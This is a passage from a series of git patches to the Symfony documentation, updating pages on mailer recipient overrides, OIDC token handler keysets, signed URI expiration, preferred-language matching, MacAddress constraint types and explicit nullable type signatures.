+``allowed_recipients`` option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/mailer.yaml
+        when@dev:
+            framework:
+                mailer:
+                    envelope:
+                        recipients: ['youremail@example.com']
+                        allowed_recipients:
+                            - 'interal@example.com'
+                            # you can also use regular expression to define allowed recipients
+                            - 'internal-.*@example.(com|fr)'
+
+    .. code-block:: xml
+
+        <!-- config/packages/mailer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <!-- ... -->
+            <framework:config>
+                <framework:mailer>
+                    <framework:envelope>
+                        <framework:recipient>youremail@example.com</framework:recipient>
+                        <framework:allowed-recipient>internal@example.com</framework:allowed-recipient>
+                        <!-- you can also use regular expression to define allowed recipients -->
+                        <framework:allowed-recipient>internal-.*@example.(com|fr)</framework:allowed-recipient>
+                    </framework:envelope>
+                </framework:mailer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/mailer.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            // ...
+            $framework->mailer()
+                ->envelope()
+                    ->recipients(['youremail@example.com'])
+                    ->allowedRecipients([
+                        'internal@example.com',
+                        // you can also use regular expression to define allowed recipients
+                        'internal-.*@example.(com|fr)',
+                    ])
+            ;
+        };
+
+With this configuration, all emails will be sent to ``youremail@example.com``,
+except for those sent to ``internal@example.com``, which will receive emails as
+usual.
+
+.. versionadded:: 7.1
+
+    The ``allowed_recipients`` option was introduced in Symfony 7.1.
+
 Write a Functional Test
 ~~~~~~~~~~~~~~~~~~~~~~~
 

From c9b92b340798d448cc118ff650325f8d03e051fa Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 11 Apr 2024 17:17:52 +0200
Subject: [PATCH 5990/7107] [FrameworkBundle] Update the enabled_locales
 description

---
 reference/configuration/framework.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 25edfe52910..d9299fc4e0f 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -428,9 +428,11 @@ performance a bit:
             $framework->enabledLocales(['en', 'es']);
         };
 
-If some user makes requests with a locale not included in this option, the
-application won't display any error because Symfony will display contents using
-the fallback locale.
+An added bonus of defining the enabled locales is that they are automatically
+added as a requirement of the :ref:`special _locale parameter <routing-locale-parameter>`.
+For example, if you define this value as ``['ar', 'he', 'ja', 'zh']``, the
+``_locale`` routing parameter will have an ``ar|he|ja|zh`` requirement. If some
+user makes requests with a locale not included in this option, they'll see an error.
 
 set_content_language_from_locale
 ................................

From 304e413217bbe5f3ec78218c7f203486d0eb1dd1 Mon Sep 17 00:00:00 2001
From: Mathieu Capdeville <mathieu.capdeville@sensiolabs.com>
Date: Thu, 11 Apr 2024 17:25:39 +0200
Subject: [PATCH 5991/7107] [Workflow] Update code block according to its
 implementation

---
 workflow.rst | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index 04e8eb18ef5..f3f04b3feea 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -864,12 +864,18 @@ the
 
     final class BlogPostMarkingStore implements MarkingStoreInterface
     {
-        public function getMarking(BlogPost $subject): Marking
+        /**
+         * @param BlogPost $subject
+         */
+        public function getMarking(object $subject): Marking
         {
             return new Marking([$subject->getCurrentPlace() => 1]);
         }
 
-        public function setMarking(BlogPost $subject, Marking $marking): void
+        /**
+         * @param BlogPost $subject
+         */
+        public function setMarking(object $subject, Marking $marking, array $context = []): void
         {
             $marking = key($marking->getPlaces());
             $subject->setCurrentPlace($marking);

From f79518512854c71097b15784caf4fd674a6419c7 Mon Sep 17 00:00:00 2001
From: Florent Morselli <florent.morselli@spomky-labs.com>
Date: Thu, 11 Apr 2024 19:28:08 +0200
Subject: [PATCH 5992/7107] Update OidcTokenHandler dependencies and
 configuration

This commit replaces the individual jwt packages previously needed by 'OidcTokenHandler' with the `web-token/jwt-library`. Configuration changes have been made to support multiple signing algorithms and a keyset instead of a single key. These changes provide more flexibility and reliability for token handling and verification.
---
 security/access_token.rst | 35 ++++++++++++++++++-----------------
 1 file changed, 18 insertions(+), 17 deletions(-)

diff --git a/security/access_token.rst b/security/access_token.rst
index 5057e243c25..593c6404c7a 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -537,15 +537,12 @@ claims. To create your own user object from the claims, you must
 2) Configure the OidcTokenHandler
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The ``OidcTokenHandler`` requires ``web-token/jwt-signature``,
-``web-token/jwt-checker`` and ``web-token/jwt-signature-algorithm-ecdsa``
-packages. If you haven't installed them yet, run these commands:
+The ``OidcTokenHandler`` requires the package ``web-token/jwt-library``.
+If you haven't installed it yet, run this command:
 
 .. code-block:: terminal
 
-    $ composer require web-token/jwt-signature
-    $ composer require web-token/jwt-checker
-    $ composer require web-token/jwt-signature-algorithm-ecdsa
+    $ composer require web-token/jwt-library
 
 Symfony provides a generic ``OidcTokenHandler`` to decode your token, validate
 it and retrieve the user info from it:
@@ -561,10 +558,10 @@ it and retrieve the user info from it:
                     access_token:
                         token_handler:
                             oidc:
-                                # Algorithm used to sign the JWS
-                                algorithm: 'ES256'
+                                # Algorithms used to sign the JWS
+                                algorithms: ['ES256', 'RS256']
                                 # A JSON-encoded JWK
-                                key: '{"kty":"...","k":"..."}'
+                                keyset: '{"keys":[{"kty":"...","k":"..."}]}'
                                 # Audience (`aud` claim): required for validation purpose
                                 audience: 'api-example'
                                 # Issuers (`iss` claim): required for validation purpose
@@ -589,8 +586,10 @@ it and retrieve the user info from it:
                             <!-- Algorithm used to sign the JWS -->
                             <!-- A JSON-encoded JWK -->
                             <!-- Audience (`aud` claim): required for validation purpose -->
-                            <oidc algorithm="ES256" key="{'kty':'...','k':'...'}" audience="api-example">
+                            <oidc keyset="{'keys':[{'kty':'...','k':'...'}]}" audience="api-example">
                                 <!-- Issuers (`iss` claim): required for validation purpose -->
+                                <algorithm>ES256</algorithm>
+                                <algorithm>RS256</algorithm>
                                 <issuer>https://oidc.example.com</issuer>
                             </oidc>
                         </token-handler>
@@ -610,9 +609,9 @@ it and retrieve the user info from it:
                     ->tokenHandler()
                         ->oidc()
                             // Algorithm used to sign the JWS
-                            ->algorithm('ES256')
+                            ->algorithms(['ES256', 'RS256'])
                             // A JSON-encoded JWK
-                            ->key('{"kty":"...","k":"..."}')
+                            ->keyset('{"keys":[{"kty":"...","k":"..."}]}')
                             // Audience (`aud` claim): required for validation purpose
                             ->audience('api-example')
                             // Issuers (`iss` claim): required for validation purpose
@@ -636,8 +635,8 @@ configuration:
                         token_handler:
                             oidc:
                                 claim: email
-                                algorithm: 'ES256'
-                                key: '{"kty":"...","k":"..."}'
+                                algorithms: ['ES256', 'RS256']
+                                keyset: '{"keys":[{"kty":"...","k":"..."}]}'
                                 audience: 'api-example'
                                 issuers: ['https://oidc.example.com']
 
@@ -657,7 +656,9 @@ configuration:
                 <firewall name="main">
                     <access-token>
                         <token-handler>
-                            <oidc claim="email" algorithm="ES256" key="{'kty':'...','k':'...'}" audience="api-example">
+                            <oidc claim="email" keyset="{'keys':[{'kty':'...','k':'...'}]}" audience="api-example">
+                                <algorithm>ES256</algorithm>
+                                <algorithm>RS256</algorithm>
                                 <issuer>https://oidc.example.com</issuer>
                             </oidc>
                         </token-handler>
@@ -677,8 +678,8 @@ configuration:
                     ->tokenHandler()
                         ->oidc()
                             ->claim('email')
-                            ->algorithm('ES256')
-                            ->key('{"kty":"...","k":"..."}')
+                            ->algorithms(['ES256', 'RS256'])
+                            ->keyset('{"keys":[{"kty":"...","k":"..."}]}')
                             ->audience('api-example')
                             ->issuers(['https://oidc.example.com'])
             ;

From 7de0684b22c26bd4494eba8daa64eb4f097cfeef Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Apr 2024 08:57:34 +0200
Subject: [PATCH 5993/7107] Minor reword

---
 mailer.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 2ce97859b11..643702bdee1 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1852,9 +1852,9 @@ a specific address, instead of the *real* address:
             ;
         };
 
-You may also go even further by restricting the recipient to a specific
-address, except for some specific ones. This can be done by using the
-``allowed_recipients`` option:
+Use the ``allowed_recipients`` option to specify exceptions to the behavior defined
+in the ``recipients`` option; allowing emails directed to these specific recipients
+to maintain their original destination:
 
 .. configuration-block::
 
@@ -1867,7 +1867,7 @@ address, except for some specific ones. This can be done by using the
                     envelope:
                         recipients: ['youremail@example.com']
                         allowed_recipients:
-                            - 'interal@example.com'
+                            - 'internal@example.com'
                             # you can also use regular expression to define allowed recipients
                             - 'internal-.*@example.(com|fr)'
 
@@ -1914,8 +1914,8 @@ address, except for some specific ones. This can be done by using the
         };
 
 With this configuration, all emails will be sent to ``youremail@example.com``,
-except for those sent to ``internal@example.com``, which will receive emails as
-usual.
+except for those sent to ``internal@example.com``, ``internal-monitoring@example.fr``,
+etc., which will receive emails as usual.
 
 .. versionadded:: 7.1
 

From 75162159fcc1df96ad48389d5165d0855904a62c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 11 Apr 2024 12:43:41 +0200
Subject: [PATCH 5994/7107] [Twig] Expand the explanation about the humanize
 filter

---
 reference/twig_reference.rst | 15 ++++++++++++---
 1 file changed, 12 insertions(+), 3 deletions(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 481cbd23898..1c20264352c 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -391,9 +391,18 @@ humanize
 ``text``
     **type**: ``string``
 
-Makes a technical name human readable (i.e. replaces underscores by spaces
-or transforms camelCase text like ``helloWorld`` to ``hello world``
-and then capitalizes the string).
+Transforms the given string into a human readable string (by replacing underscores
+with spaces, capitalizing the string, etc.) It's useful e.g. when displaying
+the names of PHP properties/variables to end users:
+
+.. code-block:: twig
+
+    {{ 'dateOfBirth'|humanize }}    {# renders: Date of birth #}
+    {{ 'DateOfBirth'|humanize }}    {# renders: Date of birth #}
+    {{ 'date-of-birth'|humanize }}  {# renders: Date-of-birth #}
+    {{ 'date_of_birth'|humanize }}  {# renders: Date of birth #}
+    {{ 'date of birth'|humanize }}  {# renders: Date of birth #}
+    {{ 'Date Of Birth'|humanize }}  {# renders: Date of birth #}
 
 .. _reference-twig-filter-trans:
 

From 75ab793bcc1ad27b0c47f57c5f7d4f1b0cd30ec1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Apr 2024 11:50:48 +0200
Subject: [PATCH 5995/7107] Minor rewords

---
 routing.rst | 36 +++++++++---------------------------
 1 file changed, 9 insertions(+), 27 deletions(-)

diff --git a/routing.rst b/routing.rst
index 0852883b9ee..790ae314516 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2694,9 +2694,10 @@ service, which you can inject in your services or controllers::
         }
     }
 
-You can make the signed URI expire. To do so, you can pass a value to the `$expiration` argument
-of :phpmethod:`Symfony\\Component\\HttpFoundation\\UriSigner::sign`. This optional argument is `null` by default. You can
-specify an expiration date by several ways::
+For security reasons, it's common to make signed URIs expire after some time
+(e.g. when using them to reset user credentials). By default, signed URIs don't
+expire, but you can define an expiration date/time using the ``$expiration``
+argument of :phpmethod:`Symfony\\Component\\HttpFoundation\\UriSigner::sign`::
 
     // src/Service/SomeService.php
     namespace App\Service;
@@ -2718,46 +2719,27 @@ specify an expiration date by several ways::
             $url = 'https://example.com/foo/bar?sort=desc';
 
             // sign the URL with an explicit expiration date
-            $signedUrl = $this->uriSigner->sign($url, new \DateTime('2050-01-01'));
+            $signedUrl = $this->uriSigner->sign($url, new \DateTimeImmutable('2050-01-01'));
             // $signedUrl = 'https://example.com/foo/bar?sort=desc&_expiration=2524608000&_hash=e4a21b9'
 
-            // check the URL signature
-            $uriSignatureIsValid = $this->uriSigner->check($signedUrl);
-            // $uriSignatureIsValid = true
-
-            // if given a \DateInterval, it will be added from now to get the expiration date
+            // if you pass a \DateInterval, it will be added from now to get the expiration date
             $signedUrl = $this->uriSigner->sign($url, new \DateInterval('PT10S'));  // valid for 10 seconds from now
             // $signedUrl = 'https://example.com/foo/bar?sort=desc&_expiration=1712414278&_hash=e4a21b9'
 
-            // check the URL signature
-            $uriSignatureIsValid = $this->uriSigner->check($signedUrl);
-            // $uriSignatureIsValid = true
-
-            sleep(30); // wait 30 seconds...
-
-            // the URL signature has expired
-            $uriSignatureIsValid = $this->uriSigner->check($signedUrl);
-            // $uriSignatureIsValid = false
-
             // you can also use a timestamp in seconds
             $signedUrl = $this->uriSigner->sign($url, 4070908800); // timestamp for the date 2099-01-01
             // $signedUrl = 'https://example.com/foo/bar?sort=desc&_expiration=4070908800&_hash=e4a21b9'
-
         }
     }
 
-.. caution::
-
-    `null` means no expiration for the signed URI.
-
 .. note::
 
-    When making the URI expire, an `_expiration` query parameter is added to the URL and the expiration date is
-    converted into a timestamp
+    The expiration date/time is included in the signed URIs as a timestamp via
+    the ``_expiration`` query parameter.
 
 .. versionadded:: 7.1
 
-    The possibility to add an expiration date for a signed URI was introduced in Symfony 7.1.
+    The feature to add an expiration date for a signed URI was introduced in Symfony 7.1.
 
 Troubleshooting
 ---------------

From 99df757eca6b2c80c7d7e8a5f8f7ecf1a9cfae95 Mon Sep 17 00:00:00 2001
From: Florent Morselli <florent.morselli@spomky-labs.com>
Date: Thu, 11 Apr 2024 21:39:33 +0200
Subject: [PATCH 5996/7107] Refactor Request object documentation and redefine
 method logic

The documentation for the Request object in the controller documentation has been updated to be more specific. The logic of the `getPreferredLanguage` method has been updated and clarified in Symfony 7.1. An additional step has been added which accounts for languages that match the locale, but exhibit a different script or region. The Response Object section has been moved for better flow and readability.
---
 controller.rst | 34 ++++++++++++++++++++++++++++++++--
 1 file changed, 32 insertions(+), 2 deletions(-)

diff --git a/controller.rst b/controller.rst
index 436326aa700..2bb6011a245 100644
--- a/controller.rst
+++ b/controller.rst
@@ -623,8 +623,8 @@ For example, imagine you're processing a :doc:`form </forms>` submission::
 
 .. _request-object-info:
 
-The Request and Response Object
--------------------------------
+The Request Object
+------------------
 
 As mentioned :ref:`earlier <controller-request-argument>`, Symfony will
 pass the ``Request`` object to any controller argument that is type-hinted with
@@ -660,6 +660,36 @@ the ``Request`` class::
 The ``Request`` class has several public properties and methods that return any
 information you need about the request.
 
+For example, the method ``getPreferredLanguage`` accepts an array of preferred languages and
+returns the best language for the user, based on the ``Accept-Language`` header.
+The locale is returned with language, script and region, if available (e.g. ``en_US``, ``fr_Latn_CH`` or ``pt``).
+
+Before Symfony 7.1, this method had the following logic:
+
+1. If no locale is set as a parameter, it returns the first language in the
+   ``Accept-Language`` header or ``null`` if the header is empty
+2. If no ``Accept-Language`` header is set, it returns the first locale passed
+   as a parameter.
+3. If a locale is set as a parameter and in the ``Accept-Language`` header,
+   it returns the first exact match.
+4. Then, it returns the first language passed in the ``Accept-Language`` header or as argument.
+
+Starting from Symfony 7.1, the method has an additional step:
+
+1. If no locale is set as a parameter, it returns the first language in the
+   ``Accept-Language`` header or ``null`` if the header is empty
+2. If no ``Accept-Language`` header is set, it returns the first locale passed
+   as a parameter.
+3. If a locale is set as a parameter and in the ``Accept-Language`` header,
+   it returns the first exact match.
+4. If a language matches the locale, but has a different script or region, it returns the first language in the
+   ``Accept-Language`` header that matches the locale's language, script or region combination
+   (e.g. ``fr_CA`` will match ``fr_FR``).
+5. Then, it returns the first language passed in the ``Accept-Language`` header or as argument.
+
+The Response Object
+-------------------
+
 Like the ``Request``, the ``Response`` object has a public ``headers`` property.
 This object is of the type :class:`Symfony\\Component\\HttpFoundation\\ResponseHeaderBag`
 and provides methods for getting and setting response headers. The header names are

From a2932252a8f7e051e3daa82c69490876e509433d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Apr 2024 17:22:31 +0200
Subject: [PATCH 5997/7107] Reword

---
 controller.rst  | 34 ++--------------------------------
 translation.rst | 19 +++++++++++++++++++
 2 files changed, 21 insertions(+), 32 deletions(-)

diff --git a/controller.rst b/controller.rst
index 2bb6011a245..436326aa700 100644
--- a/controller.rst
+++ b/controller.rst
@@ -623,8 +623,8 @@ For example, imagine you're processing a :doc:`form </forms>` submission::
 
 .. _request-object-info:
 
-The Request Object
-------------------
+The Request and Response Object
+-------------------------------
 
 As mentioned :ref:`earlier <controller-request-argument>`, Symfony will
 pass the ``Request`` object to any controller argument that is type-hinted with
@@ -660,36 +660,6 @@ the ``Request`` class::
 The ``Request`` class has several public properties and methods that return any
 information you need about the request.
 
-For example, the method ``getPreferredLanguage`` accepts an array of preferred languages and
-returns the best language for the user, based on the ``Accept-Language`` header.
-The locale is returned with language, script and region, if available (e.g. ``en_US``, ``fr_Latn_CH`` or ``pt``).
-
-Before Symfony 7.1, this method had the following logic:
-
-1. If no locale is set as a parameter, it returns the first language in the
-   ``Accept-Language`` header or ``null`` if the header is empty
-2. If no ``Accept-Language`` header is set, it returns the first locale passed
-   as a parameter.
-3. If a locale is set as a parameter and in the ``Accept-Language`` header,
-   it returns the first exact match.
-4. Then, it returns the first language passed in the ``Accept-Language`` header or as argument.
-
-Starting from Symfony 7.1, the method has an additional step:
-
-1. If no locale is set as a parameter, it returns the first language in the
-   ``Accept-Language`` header or ``null`` if the header is empty
-2. If no ``Accept-Language`` header is set, it returns the first locale passed
-   as a parameter.
-3. If a locale is set as a parameter and in the ``Accept-Language`` header,
-   it returns the first exact match.
-4. If a language matches the locale, but has a different script or region, it returns the first language in the
-   ``Accept-Language`` header that matches the locale's language, script or region combination
-   (e.g. ``fr_CA`` will match ``fr_FR``).
-5. Then, it returns the first language passed in the ``Accept-Language`` header or as argument.
-
-The Response Object
--------------------
-
 Like the ``Request``, the ``Response`` object has a public ``headers`` property.
 This object is of the type :class:`Symfony\\Component\\HttpFoundation\\ResponseHeaderBag`
 and provides methods for getting and setting response headers. The header names are
diff --git a/translation.rst b/translation.rst
index c8e496b9bcf..212554a2ccf 100644
--- a/translation.rst
+++ b/translation.rst
@@ -981,6 +981,25 @@ the framework:
 This ``default_locale`` is also relevant for the translator, as shown in the
 next section.
 
+Selecting the Language Preferred by the User
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If your application supports multiple languages, the first time a user visits your
+site it's common to redirect them to the best possible language according to their
+preferences. This is achieved with the ``getPreferredLanguage()`` method of the
+:ref:`Request object <controller-request-argument>`::
+
+    // get the Request object somehow (e.g. as a controller argument)
+    $request = ...
+    // pass an array of the locales (their script and region parts are optional) supported
+    // by your application and the method returns the best locale for the current user
+    $locale = $request->getPreferredLanguage(['pt', 'fr_Latn_CH', 'en_US'] );
+
+Symfony finds the best possible language based on the locales passed as argument
+and the value of the ``Accept-Language`` HTTP header. If it can't find a perfect
+match between them, this method returns the first locale passed as argument
+(that's why the order of the passed locales is important).
+
 .. _translation-fallback:
 
 Fallback Translation Locales

From d0fd14b4c4ad1bebad99d6d4594d5ef0d2af7729 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Apr 2024 17:25:03 +0200
Subject: [PATCH 5998/7107] Add a versionadded directive

---
 translation.rst | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/translation.rst b/translation.rst
index 3320ce9ee37..eb16fbee1bb 100644
--- a/translation.rst
+++ b/translation.rst
@@ -979,8 +979,14 @@ preferences. This is achieved with the ``getPreferredLanguage()`` method of the
 
 Symfony finds the best possible language based on the locales passed as argument
 and the value of the ``Accept-Language`` HTTP header. If it can't find a perfect
-match between them, this method returns the first locale passed as argument
-(that's why the order of the passed locales is important).
+match between them, Symfony will try to find a partial match based on the language
+(e.g. ``fr_CA`` would match ``fr_Latn_CH`` because their language is the same).
+If there's no perfect or partial match, this method returns the first locale passed
+as argument (that's why the order of the passed locales is important).
+
+.. versionadded:: 7.1
+
+    The feature to match lcoales partially was introduced in Symfony 7.1.
 
 .. _translation-fallback:
 

From 6ac1b818e7697eff318fd95ad16409dd22e78994 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Apr 2024 17:45:42 +0200
Subject: [PATCH 5999/7107] Fix typo

---
 translation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/translation.rst b/translation.rst
index eb16fbee1bb..891f00845cb 100644
--- a/translation.rst
+++ b/translation.rst
@@ -986,7 +986,7 @@ as argument (that's why the order of the passed locales is important).
 
 .. versionadded:: 7.1
 
-    The feature to match lcoales partially was introduced in Symfony 7.1.
+    The feature to match locales partially was introduced in Symfony 7.1.
 
 .. _translation-fallback:
 

From 0ed185ac3443c8718127e4dbd0ac4588112abd20 Mon Sep 17 00:00:00 2001
From: Ninos Ego <me@ninosego.de>
Date: Fri, 12 Apr 2024 18:05:28 +0200
Subject: [PATCH 6000/7107] [Validator] Add support for types (`ALL*`,
 `LOCAL_*`, `UNIVERSAL_*`, `UNICAST_*`, `MULTICAST_*`, `BROADCAST`) in
 `MacAddress` constraint

---
 reference/constraints/MacAddress.rst | 29 ++++++++++++++++++++++++++++
 1 file changed, 29 insertions(+)

diff --git a/reference/constraints/MacAddress.rst b/reference/constraints/MacAddress.rst
index 8055b53ff4a..93fe8142fc4 100644
--- a/reference/constraints/MacAddress.rst
+++ b/reference/constraints/MacAddress.rst
@@ -103,4 +103,33 @@ Parameter            Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
+.. _reference-constraint-mac-address-type:
+
+``type``
+~~~~~~~~
+
+**type**: ``string`` **default**: ``all``
+
+This determines exactly *how* the MAC address is validated. This option defines a
+lot of different possible values based on the type of MAC address that you want to allow/deny:
+
+================================  ==============================================================
+Parameter                         Description
+================================  ==============================================================
+``all``                           All
+``all_no_broadcast``              All except broadcast
+``local_all``                     Only local
+``local_no_broadcast``            Only local except broadcast
+``local_unicast``                 Only local and unicast
+``local_multicast``               Only local and multicast
+``local_multicast_no_broadcast``  Only local and multicast except broadcast
+``universal_all``                 Only universal
+``universal_unicast``             Only universal and unicast
+``universal_multicast``           Only universal and multicast
+``unicast_all``                   Only unicast
+``multicast_all``                 Only multicast
+``multicast_no_broadcast``        Only multicast except broadcast
+``broadcast``                     Only broadcast
+===============  ==============================================================
+
 .. _`MAC address`: https://en.wikipedia.org/wiki/MAC_address

From c77994da3e84c7c2a0df7b085fe53a4562b0c1ad Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Sat, 13 Apr 2024 12:49:03 +0200
Subject: [PATCH 6001/7107] [Testing] Update nullable types

The codebase as been recently updated to replace implicit nullable types with explicit ones, but i think the doc has not been updated.

This PR is just an "example" on this page.

How do you think we should handle this ?
Create a "meta-issue" and split the work by component ?
---
 testing.rst | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/testing.rst b/testing.rst
index ebd29518071..c6c0da1f4d8 100644
--- a/testing.rst
+++ b/testing.rst
@@ -606,7 +606,7 @@ The full signature of the ``request()`` method is::
         array $parameters = [],
         array $files = [],
         array $server = [],
-        string $content = null,
+        ?string $content = null,
         bool $changeHistory = true
     ): Crawler
 
@@ -1007,7 +1007,7 @@ Response Assertions
     Asserts that the response was successful (HTTP status is 2xx).
 ``assertResponseStatusCodeSame(int $expectedCode, string $message = '')``
     Asserts a specific HTTP status code.
-``assertResponseRedirects(string $expectedLocation = null, int $expectedCode = null, string $message = '')``
+``assertResponseRedirects(?string $expectedLocation = null, ?int $expectedCode = null, string $message = '')``
     Asserts the response is a redirect response (optionally, you can check
     the target location and status code).
 ``assertResponseHasHeader(string $headerName, string $message = '')``/``assertResponseNotHasHeader(string $headerName, string $message = '')``
@@ -1015,10 +1015,10 @@ Response Assertions
 ``assertResponseHeaderSame(string $headerName, string $expectedValue, string $message = '')``/``assertResponseHeaderNotSame(string $headerName, string $expectedValue, string $message = '')``
     Asserts the given header does (not) contain the expected value on the
     response, e.g. ``assertResponseHeaderSame('content-type', 'application/octet-stream');``.
-``assertResponseHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')``/``assertResponseNotHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')``
+``assertResponseHasCookie(string $name, string $path = '/', ?string $domain = null, string $message = '')``/``assertResponseNotHasCookie(string $name, string $path = '/', ?string $domain = null, string $message = '')``
     Asserts the given cookie is present in the response (optionally
     checking for a specific cookie path or domain).
-``assertResponseCookieValueSame(string $name, string $expectedValue, string $path = '/', string $domain = null, string $message = '')``
+``assertResponseCookieValueSame(string $name, string $expectedValue, string $path = '/', ?string $domain = null, string $message = '')``
     Asserts the given cookie is present and set to the expected value.
 ``assertResponseFormatSame(?string $expectedFormat, string $message = '')``
     Asserts the response format returned by the
@@ -1047,10 +1047,10 @@ Request Assertions
 Browser Assertions
 ..................
 
-``assertBrowserHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')``/``assertBrowserNotHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')``
+``assertBrowserHasCookie(string $name, string $path = '/', ?string $domain = null, string $message = '')``/``assertBrowserNotHasCookie(string $name, string $path = '/', ?string $domain = null, string $message = '')``
     Asserts that the test Client does (not) have the given cookie set
     (meaning, the cookie was set by any response in the test).
-``assertBrowserCookieValueSame(string $name, string $expectedValue, string $path = '/', string $domain = null, string $message = '')``
+``assertBrowserCookieValueSame(string $name, string $expectedValue, string $path = '/', ?string $domain = null, string $message = '')``
     Asserts the given cookie in the test Client is set to the expected
     value.
 ``assertThatForClient(Constraint $constraint, string $message = '')``
@@ -1108,18 +1108,18 @@ Mailer Assertions
     Starting from Symfony 5.1, the following assertions no longer require to make
     a request with the ``Client`` in a test case extending the ``WebTestCase`` class.
 
-``assertEmailCount(int $count, string $transport = null, string $message = '')``
+``assertEmailCount(int $count, ?string $transport = null, string $message = '')``
     Asserts that the expected number of emails was sent.
-``assertQueuedEmailCount(int $count, string $transport = null, string $message = '')``
+``assertQueuedEmailCount(int $count, ?string $transport = null, string $message = '')``
     Asserts that the expected number of emails was queued (e.g. using the
     Messenger component).
 ``assertEmailIsQueued(MessageEvent $event, string $message = '')``/``assertEmailIsNotQueued(MessageEvent $event, string $message = '')``
     Asserts that the given mailer event is (not) queued. Use
-    ``getMailerEvent(int $index = 0, string $transport = null)`` to
+    ``getMailerEvent(int $index = 0, ?string $transport = null)`` to
     retrieve a mailer event by index.
 ``assertEmailAttachmentCount(RawMessage $email, int $count, string $message = '')``
     Asserts that the given email has the expected number of attachments. Use
-    ``getMailerMessage(int $index = 0, string $transport = null)`` to
+    ``getMailerMessage(int $index = 0, ?string $transport = null)`` to
     retrieve a specific email by index.
 ``assertEmailTextBodyContains(RawMessage $email, string $text, string $message = '')``/``assertEmailTextBodyNotContains(RawMessage $email, string $text, string $message = '')``
     Asserts that the text body of the given email does (not) contain the

From d896411792d149922a7d69bd8f1294b1a0c77158 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Sat, 13 Apr 2024 16:53:04 +0200
Subject: [PATCH 6002/7107] [CS] Fix more nullable types

Follows #19786
---
 components/expression_language.rst   | 2 +-
 components/serializer.rst            | 6 +++---
 controller/error_pages.rst           | 4 ++--
 form/dynamic_form_modification.rst   | 2 +-
 frontend/custom_version_strategy.rst | 2 +-
 http_client.rst                      | 4 ++--
 messenger.rst                        | 2 +-
 messenger/custom-transport.rst       | 2 +-
 notifier.rst                         | 2 +-
 profiler.rst                         | 2 +-
 reference/constraints/File.rst       | 2 +-
 reference/constraints/Image.rst      | 2 +-
 reference/forms/types/collection.rst | 2 +-
 routing/custom_route_loader.rst      | 8 ++++----
 security/access_denied_handler.rst   | 2 +-
 security/login_link.rst              | 2 +-
 serializer/custom_normalizer.rst     | 4 ++--
 validation/custom_constraint.rst     | 8 ++++----
 18 files changed, 29 insertions(+), 29 deletions(-)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index 05a172cfa0f..e90c580fe98 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -359,7 +359,7 @@ or by using the second argument of the constructor::
 
         class ExpressionLanguage extends BaseExpressionLanguage
         {
-            public function __construct(CacheItemPoolInterface $cache = null, array $providers = [])
+            public function __construct(?CacheItemPoolInterface $cache = null, array $providers = [])
             {
                 // prepends the default provider to let users override it
                 array_unshift($providers, new StringExpressionLanguageProvider());
diff --git a/components/serializer.rst b/components/serializer.rst
index 1ebe70bb204..fedd41cf08b 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -118,7 +118,7 @@ exists in your project::
             $this->sportsperson = $sportsperson;
         }
 
-        public function setCreatedAt(\DateTime $createdAt = null): void
+        public function setCreatedAt(?\DateTime $createdAt = null): void
         {
             $this->createdAt = $createdAt;
         }
@@ -798,7 +798,7 @@ When serializing, you can set a callback to format a specific object property::
     $encoder = new JsonEncoder();
 
     // all callback parameters are optional (you can omit the ones you don't use)
